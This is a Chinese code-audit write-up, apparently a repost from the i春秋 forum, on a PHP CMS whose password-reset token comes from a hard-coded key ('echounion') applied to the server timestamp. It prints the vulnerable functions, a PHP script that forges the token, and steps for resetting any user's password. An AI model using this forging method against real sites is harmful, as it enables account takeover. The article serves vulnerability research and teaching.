代码审计之任意用户密码找回漏洞

来源:http://bbs.ichunqiu.com/thread-10497-1-1.html?from=ch

前言

为了防止被坏蛋哥干掉,出来写篇文章,这个是昨晚审的一套系统发现的一个任意用户密码找回漏洞,感觉还不错,就拿这个来写文章吧

漏洞起因

造成这漏洞的原因是生成找回密码密文的key是硬编码到生成密文的函数中的,所以除非站长直接修改函数中的key,不然就可以预测出密文来找回密码(不过一般的站长总不会自己去修改代码来解决这漏洞吧。。)

漏洞分析

我们在使用系统的邮箱找回密码功能的时,发现会给邮箱发送这么一个url,一点击这个url就进入重新设置用户密码的界面

代码审计之任意用户密码找回漏洞_第1张图片

http://127.0.0.1//xxxxx/index.php?s=/member/reset_password/username/test1/email/3281210550%40qq.com/hash/MnToQi3nMuTochxcMeDEzNgO0O0OO0O0O/addtime/1471710136.html

一打开就进入了重新设置密码的界面

hash/MnToQi3nMuTochxcMeDEzNgO0O0OO0O0O/addtime/1471710136.html

可以看到有这么一个hash值

下面我们来看代码看看这个hash值是如何生成的

function find_password()

{

if ($_POST) {

self::check_verify();

$_POST = array_map('strval', $_POST);

if (empty($_POST['username']) || empty($_POST['email']) || !preg_match("/^[\w\-\.]+@[\w\-\.]+(\.\w+)+$/", $_POST['email'])) {

$this->error('请输入用户名与注册邮件');

}

$map['username'] = inject_check($_POST['username']);

$map['email'] = inject_check($_POST['email']);

$t = M('member')->where($map)->find();

if (!$t) {

$this->error('用户名与邮件不匹配');

} else {

$map['hash'] = xxxx_encrypt(time());

$map['addtime'] = time();

M('find_password')->add($map);

$url = 'http://' . $_SERVER['HTTP_HOST'] . '/' . U('Member/reset_password', $map);

$body = "您在" . date('Y-m-d H:i:s') . "提交了找回密码请求。请点击下面的链接重置密码(48小时内有效)。
{$url}";

send_mail($t['email'], $t['email'] . '用户', '用户找回密码邮件', $body);

$this->assign("waitSecond", 30);

$this->assign("jumpUrl", U('Member/login'));

$this->success('找回密码成功!请在48小时内登陆邮箱重置密码!');

}

} else {

$this->display();

}

}

复制代码

代码大概的意思就是如果输入了正确的用户名和邮箱就调用了 xxxx_encrypt来生成找回密码的密文

$map['hash'] = xxxx_encrypt(time());

可以看到hash值是通过xxxx_encrypt函数生成的,time()函数的返回值是服务器当前时间的unix时间戳


echo time();

?>

代码审计之任意用户密码找回漏洞_第2张图片

然后追踪下来,看xxxx_encrypt函数

function xxxx_encrypt($string = '', $skey = 'echounion')

{

$skey = array_reverse(str_split($skey));

$strArr = str_split(base64_encode($string));

$strCount = count($strArr);

foreach ($skey as $key => $value) {

$key < $strCount && $strArr[$key] .= $value;

}

return str_replace('=', 'O0O0O', join('', $strArr));

}

复制代码

可以看到function xxxx_encrypt($string = '', $skey = 'echounion')

key在没有传递的情况下,默认为$skey = 'echounion',而调用这个函数的时候,第二个参数刚好为空,所以key也就是'echounion'了,而且最要命的是这是硬编码进来的,安装的时候也没有对这个key进行初始化,也就是说除非站长直接改动代码,不然这个key就不会改了,因为是硬编码进来的

这个函数的功能用key对传递过来的string进行加密,虽然这个加密函数比较简单,不过我这种菜逼还是看的似懂非懂,不过突然想到了,加密的值和key都知道了,可以直接预测出找回密码时生成的密文的,这样就可以重置任意用户的密码了

function reset_password()

{

if ($_REQUEST['email'] == '' || $_REQUEST['username'] == '' || $_REQUEST['hash'] == '' || $_REQUEST['addtime'] == '') {

$this->errpr('URL参数不完整');

}

$_REQUEST = array_map('strval', $_REQUEST);

$map['username'] = inject_check($_REQUEST['username']);

$map['email'] = inject_check($_REQUEST['email']);

$map['hash'] = inject_check($_REQUEST['hash']);

$map['addtime'] = inject_check($_REQUEST['addtime']);

$t = M('find_password')->where($map)->find();

if (!$t) {

$this->error('URL参数不正确');

} else {

if (time > $t['addtime'] + 48 * 3600) {

$this->error('URL已经过期');

M('find_password')->where('id=' . $t['id'])->delete();

}

}

if ($_POST) {

if ($_POST['newpwd'] == '' || $_POST['newpwd'] != $_POST['newpwd2']) {

$this->error('密码不能为空,两次密码输入必须一致');

}

unset($map['hash']);

unset($map['addtime']);

M('member')->where($map)->setField('userpwd', md5($_POST['newpwd']));

$this->assign("jumpUrl", U('Member/login'));

$this->success('密码已经修改成功!请登陆');

} else {

$this->display();

}

}

复制代码

$map['username'] = inject_check($_REQUEST['username']);

$map['email'] = inject_check($_REQUEST['email']);

$map['hash'] = inject_check($_REQUEST['hash']);

$map['addtime'] = inject_check($_REQUEST['addtime']);

$t = M('find_password')->where($map)->find();

addtime和hash是可预测的,也就是说只要知道用户名和邮箱就可以找回任意用户的密码了

漏洞利用

由于value是time(),也就是服务器当前时间的unix时间戳,而key是硬编码进去的,所以可以直接调用这个加密函数来得到密文,找回密码

首先点击忘记密码,输入你要重置密码的用户的用户名和邮箱,然后点击验证,记住发送的时间(可能本地的时间和服务器的时间多多少少有点误差,这种情况下,可以写个小脚本,生批量生成最近几十秒unix时间戳的密文访问测试)

假设这里的时间戳为1471711028(把时间转换为时间戳,直接百度一下就有很多相关的在线工具了)


function xxxx_encrypt($string = '', $skey = 'echounion')

{

$skey = array_reverse(str_split($skey));

$strArr = str_split(base64_encode($string));

$strCount = count($strArr);

foreach ($skey as $key => $value) {

$key < $strCount && $strArr[$key] .= $value;

}

return str_replace('=', 'O0O0O', join('', $strArr));

}

echo xxxx_encrypt("1471711028")

?>

复制代码

然后构造这么一个url

http://127.0.0.1/xxxx/index.php?s=/member/reset_password/username/用户名/email/邮箱/hash/加密后的值/addtime/时间戳.html

访问,直接重置这个用户的密码

代码审计之任意用户密码找回漏洞_第3张图片
代码审计之任意用户密码找回漏洞_第4张图片

结语

通过泉哥对我前几篇文章的点评,感觉这次在排版和内容详细程度上有了不小的进步,不过由于本人是个大菜逼,写的文章难免有错误之处,希望大家指出,现在的我的技术还在起步的路上,希望有一天我的技术可以进化到自己都怕自己,同时推荐一套I春秋主站的视频教程,关于代码审计的,知道创宇出的"漏洞案例讲解"(好像是这名字),对漏洞的分析讲的挺详细和专业的。最后也谢谢泉哥对我们文章的点评

你可能感兴趣的:(代码审计之任意用户密码找回漏洞)